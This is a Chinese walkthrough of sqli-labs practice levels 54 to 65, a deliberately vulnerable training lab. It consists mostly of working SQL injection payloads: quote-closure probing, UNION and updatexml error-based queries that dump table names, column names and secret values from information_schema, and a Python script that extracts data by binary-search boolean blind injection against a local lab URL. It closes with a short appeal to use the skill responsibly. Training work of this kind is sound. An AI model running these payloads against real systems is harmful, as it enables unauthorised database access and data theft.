赞
踩
2024.2.5
1、先判断类型和闭合类型
- ?id=1/0 #正常 证明不是数字型
- ?id=1' #错误
- ?id=1' -- a #正常 判断是 ' 闭合
2、 判断列数
这里需要运气,但是根据前面50多关的经验直接猜测是3列
?id=-1' union select 1,2,3 -- a
3、爆表名,爆列名
由于有两个回显位,可以一口气爆两个
?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- a
4、 爆字段名
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='k4btflpcqe') -- a
5、爆数据
四个字段,四次机会
经过尝试,第三个字段是正确的
?id=-1' union select 1,2,(select group_concat('~',secret_0LJ6,'~') from challenges.k4btflpcqe limit 0,1) -- a
(如果是第一次打这个关卡,但凡运气和判断失误一点都不太能一次过)
- 1、先判断类型
- ?id=1/0 #错误 证明是数字型
- ?id=1 -- a #错误
- ?id=1) -- a #正常 判断是 ) 闭合
-
- 2、后面过程与 level-54 一样
- 1、先判断类型
- ?id=1/0 #正常 证明不是数字型
- ?id=1' #错误
- ?id=1' -- a #错误
- ?id=1') -- a #正常 判断是 ') 闭合
-
- 2、后面过程与 level-54 一样
- 1、先判断类型
- ?id=1/0 #正常 证明不是数字型
- ?id=1' #正常
- ?id=1" #错误
- ?id=1" -- a #正常 判断是 " 闭合
- 2、后面过程与 level-54 一样
1、先判断类型
- ?id=1/0 #正常 证明不是数字型
- ?id=1' -- a #因为有报错信息可以直接判断出'闭合
2、爆列名
有报错信息的存在,这次选择报错注入,节省次数的浪费
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) -- a
3、爆字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='q9821q44au'),'~'),1) -- a
4、爆数据
?id=1' and updatexml(1,concat('~',(select group_concat('~',secret_L4Z3,'~') from challenges.q9821q44au limit 0,1),'~'),1) -- a
- 1、先判断类型
- ?id=1/0 #错误 证明是数字型
- ?id=1 -- a #正常 判断无闭合
-
- 2、后面过程与 level-58 一样
- 1、先判断类型
- ?id=1/0 #正常 证明不是数字型
- ?id=1' #错误
- ?id=1" #根据报错信息知道是 ") 闭合
- ?id=1") -- a #正常
- 2、后面过程与 level-58 一样
- 1、先判断类型
- ?id=1/0 #正常 证明不是数字型
- ?id=1' #根据报错信息知道是 ')) 闭合
- ?id=1')) -- a #正常
- 2、后面过程与 level-58 一样
1、先判断类型
- 1、先判断类型
- ?id=1/0 #正常 证明不是数字型
- ?id=1' #错误
- ?id=1" #正常
- ?id=1' -- a #错误
- ?id=1') -- a #正常 判断是 ') 闭合
2、爆数据
首先需要了解一下表名,列名,数据的组成
表名:10位随机的字母(含大小写)或数字
列名:secret_+4位随机的字母(含大小写)或数字
数据:24位随机的字母(含大小写)或数字
显然正常的爆破次数(38*62=2356)是远远大于130次的
而且用二分法 (38*log2(62)=228) 也大于130
既然这样,只能写脚本绕过了
- import requests
-
- def binary_query(start,length,payload):
- name = ''
- times = 0
- for i in range(start,start+length):
- p, q = 0, len(words)-1
- while p<=q:
- resp = requests.get(url, params={'id':payload.format(i,words[(p+q)//2])})
- times += 1
- if ("Login name" in resp.content.decode('utf-8')): #向右找
- p = (p+q)//2+1
- else: #向左找
- q = (p+q)//2-1
- name += chr(words[p])
- return name,times
-
-
- #生成0~9,A~Z,a~z的ascii码
- words = [i for i in range(ord('0'),ord('9')+1)]+[i for i in range(ord('A'),ord('Z')+1)]+[i for i in range(ord('a'),ord('z')+1)]
- url = r"http://127.0.0.1/sqli-labs-master/Less-62/"
-
- #爆表名
- table_payload = "1') and if(ascii(mid((select table_name from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- a"
- table_name, table_time= binary_query(1,10,table_payload)
- print(f'table_name: {table_name}\ntable_time: {table_time}')
-
- #爆列名
- column_payload = f"1') and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' and column_name like 'secret_%')"+",{},1))>{},1,0) -- a"
- column_name,column_time = binary_query(8,4,column_payload)
- column_name = 'secret_'+ column_name
- print(f'table_name: {column_name}\ntable_time: {column_time}')
-
- #爆数据
- data_payload = f"1') and if(ascii(mid((select {column_name} from challenges.{table_name})"+",{},1))>{},1,0) -- a"
- data_name,data_time = binary_query(1,24,data_payload)
- print(f'table_name: {data_name}\ntable_time: {data_time}')
-
- print(f'sum_time:{table_time+column_time+data_time}')
level-63
- ?id=1' -- a
- ' 闭合,剩下的和level-62一样
level-64
- ?id=1)) -- a
- )) 闭合,剩下的和level-62一样
level-65
- ?id=1") -- a
- ") 闭合,剩下的和level-62一样
这一路上走走停停,两周的时间,当初茫然的菜鸟似乎已经开始可以独自面对风雨,从对着单引号一脸懵逼到如今可以写脚本来解放双手,sql注入的大门已经为你我打开,此时,训练场已经满足不了想要展翅的❤,是时候背起行囊,前往大千世界,但切记,虽可飞翔,但羽翼仍未丰满,面对挑战,不要气馁,面对弱小, 务必留情,切勿挑战世界的法则,与千千万万一起构建和谐的社会
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。